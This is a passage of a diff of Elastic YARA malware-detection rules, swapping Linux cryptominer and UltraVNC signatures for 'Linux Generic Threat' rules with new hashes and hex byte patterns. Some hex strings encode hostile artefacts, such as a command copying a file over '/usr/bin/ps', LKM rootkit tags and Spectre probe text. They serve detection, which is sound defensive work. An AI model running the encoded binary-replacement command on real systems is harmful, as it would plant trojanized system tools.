+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a2b54f789a1c4cbed13e0e2a5ab61e0ce5bb42d44fe52ad4b7dd3da610045257"
+		logic_hash = "c098e27a12d5d10af67d1b78572bc7daeb500504527428366e1d9a4e55e0f4d7"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "cf3b74ae6ff38b0131763fbcf65fa21fb6fd4462d2571b298c77a43184ac5415"
-		severity = 100
+		fingerprint = "f9d39e6aa9f8b005ff156923c68d215dabf2db79bd7d4a3dccb9ead8f1a28d88"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 0F 70 F8 FF 66 0F 73 FD 04 66 44 0F EF ED 66 41 0F 73 FE 04 66 41 0F }
+		$a1 = { 61 64 78 61 65 73 61 76 78 62 69 6E 63 67 6F 64 69 72 64 6E 73 65 6E 64 66 69 6E 66 6D 61 66 74 70 67 63 20 67 70 20 69 6E 20 69 6E 74 6D 61 70 6E 69 6C 6F 62 6A 70 63 3D 70 74 72 73 65 74 73 68 61 73 73 68 74 63 70 75 64 70 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrig_271121Fb : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_Fc5B5B86 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "271121fb-47cf-47a7-9e90-8565d4694c9e"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "fc5b5b86-fa68-428d-ba31-67057380a10b"
+		date = "2024-01-18"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrig.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "19aeafb63430b5ac98e93dfd6469c20b9c1145e6b5b86202553bd7bd9e118842"
-		logic_hash = "f43b1527ad4bbd07023126def89c1af47698cc832f71f4a1381ed0d621d79ed5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L268-L286"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "134b063d9b5faed11c6db6848f800b63748ca81aeca46caa0a7c447d07a9cd9b"
+		logic_hash = "a11ed323df7283188cf99ca89abbd18673fef88660df1150d4dc72de04a836a8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e0968731b0e006f3db92762822e4a3509d800e8f270b1c38303814fd672377a2"
-		severity = 100
+		fingerprint = "bae66e297c19cf9c278eaefcd3cc8b3c972381effd160ee99e6f04f4ac74389d"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 18 41 C1 E4 10 C1 E1 08 41 C1 EA 10 44 89 CB 41 C1 E9 18 C1 }
+		$a1 = { 14 8B 44 24 18 8B 08 89 0C 24 89 44 24 04 C6 44 24 08 00 E8 74 1D 00 00 8B 44 24 0C 89 44 24 10 8B 4C 24 18 8B 09 89 04 24 8B 54 24 1C 89 54 24 04 89 4C 24 08 E8 92 98 05 00 8B 44 24 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrig_E7E64Fb7 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_2C8D824C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "e7e64fb7-e07c-4184-86bd-db491a2a11e0"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "2c8d824c-4791-46a6-ba4d-5dcc09fdc638"
+		date = "2024-01-18"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrig.yar#L61-L78"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "e325ac02c51526c5a36bdd6c2bcb3bee51f1214d78eff8048c8a1ae88334a9e8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L288-L306"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9106bdd27e67d6eebfaec5b1482069285949de10afb28a538804ce64add88890"
+		logic_hash = "c8fc90ec5e93ff39443f513e83f34140819a30b737da2a412ba97a7b221ca9dc"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "444240375f4b9c6948907c7e338764ac8221e5fcbbc2684bbd0a1102fef45e06"
-		severity = 100
+		fingerprint = "8e54bf3f6b7b563d773a1f5de0b37b8bec455c44f8af57fde9a9b684bb6f5044"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 03 48 89 74 24 48 77 05 48 8B 5C C4 30 4C 8B 0A 48 8B 0F 48 8B }
+		$a1 = { 38 48 89 5C 24 50 48 89 7C 24 60 48 89 4C 24 58 48 8B 10 48 8B 40 08 48 8B 52 28 FF D2 48 89 44 24 28 48 89 5C 24 18 48 8B 4C 24 50 31 D2 90 EB 03 48 FF C2 48 39 D3 7E 6C 48 8B 34 D0 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrig_79B42B21 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_936B24D5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "79b42b21-1408-4837-8f1f-6de30d7f5777"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "936b24d5-f8d7-44f1-a541-94c30a514a11"
+		date = "2024-01-18"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrig.yar#L80-L97"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "db42871193960ea4c2cbe5f5040cbc1097d57d9e4dc291bcc77ed72b588311ab"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L308-L326"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "fb8eb0c876148a4199cc873b84fd9c1c6abc1341e02d118f72ffb0dae37592a4"
+		logic_hash = "972bbc4950c49ff7bc880b1d24b586072eb8541584b97a00ac501fac133a3157"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "4cd0481edd1263accdac3ff941df4e31ef748bded0fba5fe55a9cffa8a37b372"
-		severity = 100
+		fingerprint = "087f31195b3eaf51cd03167a877e54a5ba3ca9941145d8125c823100ba6401c4"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { FC 00 79 0A 8B 45 B8 83 E0 04 85 C0 75 38 8B 45 EC 83 C0 01 }
+		$a1 = { 66 73 65 65 6B 6F 28 6F 70 74 2E 64 69 63 74 2C 20 30 4C 2C 20 53 45 45 4B 5F 45 4E 44 29 20 21 3D 20 2D 31 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrig_77Fbc695 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_98Bbca63 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "77fbc695-6fe3-4e30-bb2f-f64379ec4efd"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "98bbca63-68c4-4b32-8cb6-50f9dad0a8f2"
+		date = "2024-01-22"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrig.yar#L99-L117"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e723a2b976adddb01abb1101f2d3407b783067bec042a135b21b14d63bc18a68"
-		logic_hash = "af8e09cd5d6b7532af0c06273aa465cf6c40ad6c919a679fd09191a1c2a302f5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L328-L347"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1d4d3d8e089dcca348bb4a5115ee2991575c70584dce674da13b738dd0d6ff98"
+		logic_hash = "1728d47b3f364cff02ae61ccf381ecab0c1fe46a5c76d832731fdf7acc1caf55"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "e0c6cb7a05c622aa40dfe2167099c496b714a3db4e9b92001bbe6928c3774c85"
-		severity = 100
+		quality = 71
+		tags = "FILE, MEMORY"
+		fingerprint = "d10317a1a09e86b55eb7b00a87cb010e0d2f11ade2dccc896aaeba9819bd6ca5"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { F2 0F 58 44 24 08 F2 0F 11 44 24 08 8B 7B 08 41 8D 76 01 49 83 }
+		$a1 = { 64 65 73 63 72 69 70 74 69 6F 6E 3D 4C 4B 4D 20 72 6F 6F 74 6B 69 74 }
+		$a2 = { 61 75 74 68 6F 72 3D 6D 30 6E 61 64 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrig_403B0A12 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_9Aaf894F : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "403b0a12-8475-4e28-960b-ef33eabf0fcf"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "9aaf894f-d3f0-460d-82f8-831fecdf8b09"
+		date = "2024-01-22"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrig.yar#L119-L137"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "54d806b3060404ccde80d9f3153eebe8fdda49b6e8cdba197df0659c6724a52d"
-		logic_hash = "5b7662124eb980b11f88a50665292e7a405595f7ad85c5c448dd087ea096689a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L349-L367"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "467ac05956eec6c74217112721b3008186b2802af2cafed6d2038c79621bcb08"
+		logic_hash = "b28d6a8c23aba4371e2e5f48861d2bcc8bdfa7212738eda7b1b4a3059d159cf2"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "785ac520b9f2fd9c6b49d8a485118eee7707f0fa0400b3db99eb7dfb1e14e350"
-		severity = 100
+		fingerprint = "15518c7e99ed1f39db2fe21578c08aadf8553fdb9cb44e4342bf117e613c6c12"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 00 28 03 1C C3 0C 00 C0 00 60 83 1C A7 71 00 00 00 68 83 5C D7 }
+		$a1 = { 2F 62 69 6E 2F 63 70 20 2F 74 6D 70 2F 70 61 6E 77 74 65 73 74 20 2F 75 73 72 2F 62 69 6E 2F 70 73 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrig_Bffa106B : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_Ba3A047D : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "bffa106b-0a9a-4433-b9ac-ae41a020e7e0"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "ba3a047d-effc-444b-85b7-d31815e61dfb"
+		date = "2024-01-22"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrig.yar#L139-L156"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "d7214ad9c4291205b50567d142d99b8a19a9cfa69d3cd0a644774c3a1adb6b49"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L369-L388"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3064e89f3585f7f5b69852f1502e34a8423edf5b7da89b93fb8bd0bef0a28b8b"
+		logic_hash = "ffcfb90c0c796b7b343adbd2142193759ececddd0700c0bb4e2898947464b1a2"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "665b5684c55c88e55bcdb8761305d6428c6a8e810043bf9df0ba567faea4c435"
-		severity = 100
+		fingerprint = "3f43a4e73a857d07c3623cf0278eecf26ef51f4a75b7913a72472ba6738adeac"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 54 24 9C 44 0F B6 94 24 BC 00 00 00 89 5C 24 A0 46 8B 0C 8A 66 0F 6E 5C }
+		$a1 = { 52 65 61 64 69 6E 67 20 61 74 20 6D 61 6C 69 63 69 6F 75 73 5F 78 20 3D 20 25 70 2E 2E 2E 20 }
+		$a2 = { 28 73 65 63 6F 6E 64 20 62 65 73 74 3A 20 30 78 25 30 32 58 20 73 63 6F 72 65 3D 25 64 29 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrig_73Faf972 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_902Cfdc5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "73faf972-43e4-448d-bdfd-cda9be15fce6"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "902cfdc5-7f71-4661-af17-9f3dd9b21daa"
+		date = "2024-01-23"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrig.yar#L158-L176"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "00e29303b66cb39a8bc23fe91379c087376ea26baa21f6b7f7817289ba89f655"
-		logic_hash = "a6a9d304d215302bf399c90ed0dd77a681796254c51a2a20e4a316dba43b387f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L390-L408"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3fa5057e1be1cfeb73f6ebcdf84e00c37e9e09f1bec347d5424dd730a2124fa8"
+		logic_hash = "0f86914cb598262744660e65048f75d071307ae47d069971bfcd049a7d4b36e5"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "f31c2658acd6d13ae000426d3845bcec7a8a587bbaed75173baa84b2871b0b42"
-		severity = 100
+		fingerprint = "d692401d70f20648e9bb063fc8f0e750349671e56a53c33991672d29eededcb4"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 6F C4 83 E0 01 83 E1 06 09 C1 44 89 E8 01 C9 D3 }
+		$a1 = { 54 65 67 73 6B 54 47 66 42 7A 4C 35 5A 58 56 65 41 54 4A 5A 2F 4B 67 34 67 47 77 5A 4E 48 76 69 5A 49 4E 50 49 56 70 36 4B 2F 2D 61 77 33 78 34 61 6D 4F 57 33 66 65 79 54 6F 6D 6C 71 37 2F 57 58 6B 4F 4A 50 68 41 68 56 50 74 67 6B 70 47 74 6C 68 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrig_Af809Eea : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_094C1238 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "af809eea-fe42-4495-b7e5-c22b39102fcd"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "094c1238-32e7-43b8-bf5e-187cf3a28c9f"
+		date = "2024-01-23"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrig.yar#L178-L196"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "00e29303b66cb39a8bc23fe91379c087376ea26baa21f6b7f7817289ba89f655"
-		logic_hash = "4ae4b119a3eecfdb47a88fe5a89a4f79ae96eecf5d08eef08997357de7e6538a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L410-L428"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2bfe7d51d59901af345ef06dafd8f0e950dcf8461922999670182bfc7082befd"
+		logic_hash = "fb82e16bf153c88377cc8655557bc1f021af6e04e1160129ce9555e078d00a0d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "373d2f57aede0b41296011d12b59ac006f6cf0e2bd95163f518e6e252459411b"
-		severity = 100
+		fingerprint = "1b36f7415f215c6e39e9702ae6793fffd7c7ecce1884767b5c24a1e086101faf"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 83 E0 01 83 E1 06 09 C1 44 89 ?? 01 C9 D3 }
+		$a1 = { 48 81 EC 18 01 00 00 48 89 D3 41 89 F6 49 89 FF 64 48 8B 04 25 28 00 00 00 48 89 84 24 10 01 00 00 49 89 E4 4C 89 E7 E8 FD 08 00 00 48 89 DF E8 75 08 00 00 4C 89 E7 48 89 DE 89 C2 E8 F8 08 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrig_9F6Ac00F : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_A8Faf785 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "9f6ac00f-1562-4be1-8b54-bf9a89672b0e"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "a8faf785-997d-4be8-9d10-c6e7050c257b"
+		date = "2024-01-23"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrig.yar#L198-L216"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9cd58c1759056c0c5bbd78248b9192c4f8c568ed89894aff3724fdb2be44ca43"
-		logic_hash = "9fa8e7be5c35c9a649c42613d0d5d5cecff3d9c3e9a572e4be1ca661876748a5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L430-L448"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6028562baf0a7dd27329c8926585007ba3e0648da25088204ebab2ac8f723e70"
+		logic_hash = "3ab5d9ba39be2553173f6eb4d2a1ca22bfb9f1bd537fed247f273eba1eabd782"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "77b171a3099327a5edb59b8f1b17fb3f415ab7fd15beabcd3b53916cde206568"
-		severity = 100
+		fingerprint = "c393af7d7fb92446019eed23bbf216d941a9598dd52ccb610432985d0da5ce04"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { B8 31 75 00 00 83 E3 06 09 D9 01 C9 D3 F8 89 C1 }
+		$a1 = { 55 89 E5 53 57 56 83 E4 F0 83 EC 10 E8 00 00 00 00 5B 81 C3 53 50 00 00 8B 45 0C 8B 4D 10 8B 55 08 65 8B 35 14 00 00 00 89 74 24 08 8D 75 14 89 74 24 04 8B 3A 56 51 50 52 FF 97 CC 01 00 00 83 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Xmrig_Dbcc9D87 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_04E8E4A5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xmrig (Linux.Cryptominer.Xmrig)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "dbcc9d87-5064-446d-9581-b14cf183ec3f"
-		date = "2021-12-13"
-		modified = "2022-01-26"
+		id = "04e8e4a5-a1e1-4850-914a-d7e583d052a3"
+		date = "2024-01-23"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xmrig.yar#L218-L236"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "da9b8fb5c26e81fb3aed3b0bc95d855339fced303aae2af281daf0f1a873e585"
-		logic_hash = "b7fa60e32cb53484d8b76b13066eda1f2275ee2660ac2dc02b0078b921998e79"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L450-L468"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "248f010f18962c8d1cc4587e6c8b683a120a1e838d091284ba141566a8a01b92"
+		logic_hash = "9b04725bf0a75340c011028b201ed08eb9de305a5b4630cc79156c0a847cdc9e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ebb6d184d7470437aace81d55ada5083e55c0de67e566b052245665aeda96d69"
-		severity = 100
+		fingerprint = "08e48ddeffa8617e7848731b54a17983104240249cddccc5372c16b5d74a1ce4"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 78 72 47 47 58 34 53 58 5F 34 74 43 41 66 30 5A 57 73 00 64 48 8B 0C 25 F8 FF }
+		$a1 = { 48 81 EC F8 01 00 00 48 8D 7C 24 10 E8 60 13 00 00 48 8D 7C 24 10 E8 12 07 00 00 85 ED 74 30 48 8B 3B 48 8D 54 24 02 48 B8 5B 6B 77 6F 72 6B 65 72 BE 0D 00 00 00 48 89 44 24 02 C7 44 24 0A 2F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Remoteadmin_Ultravnc_965F054A : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_47B147Ec : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Remoteadmin Ultravnc (Windows.RemoteAdmin.UltraVNC)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "965f054a-4b78-43f3-87db-1ecd64c317a0"
-		date = "2023-03-18"
-		modified = "2023-04-23"
+		id = "47b147ec-bcd2-423a-bc67-a85712d135eb"
+		date = "2024-02-01"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_RemoteAdmin_UltraVNC.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "59bddb5ccdc1c37c838c8a3d96a865a28c75b5807415fd931eaff0af931d1820"
-		logic_hash = "a9b9d0958f09b23fa7b27ef7ec32b3feb98edca3be5a21552a3a2f50e3fd41c1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L470-L488"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cc7734a10998a4878b8f0c362971243ea051ce6c1689444ba6e71aea297fb70d"
+		logic_hash = "84c68f2ed76d644122daf81d41d4eb0be9aa8b1c82993464d3138ae30992110f"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "7e612ffb9fdf94471f938039b4077d5546edd5d6f700733e1c1e732aef36ed42"
-		severity = 100
+		fingerprint = "38f55b825bbd1fa837b2b9903d01141a071539502fe21b874948dbc5ac215ae8"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$s1 = ".\\vncsockconnect.cpp"
-		$s2 = ".\\vnchttpconnect.cpp"
-		$s3 = ".\\vncdesktopthread.cpp"
-		$s4 = "Software\\UltraVNC"
-		$s5 = "VncCanvas.class"
-		$s6 = "WinVNC_Win32_Instance_Mutex"
-		$s7 = "WinVNC.AddClient"
+		$a1 = { 50 41 54 48 3D 2F 62 69 6E 3A 2F 73 62 69 6E 3A 2F 75 73 72 2F 73 62 69 6E 3A 2F 75 73 72 2F 62 69 6E 3A 2F 75 73 72 2F 6C 6F 63 61 6C 2F 62 69 6E 3A 2F 75 73 72 2F 6C 6F 63 61 6C 2F 73 62 69 6E }
 
 	condition:
-		5 of them
+		all of them
 }
-rule ELASTIC_Linux_Exploit_Foda_F41E9Ef9 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_887671E9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Foda (Linux.Exploit.Foda)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "f41e9ef9-b280-44cb-b877-ac998eea84d3"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "887671e9-1e93-42d9-afb8-a96d1a87c572"
+		date = "2024-02-01"
+		modified = "2024-02-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_Foda.yar#L1-L19"
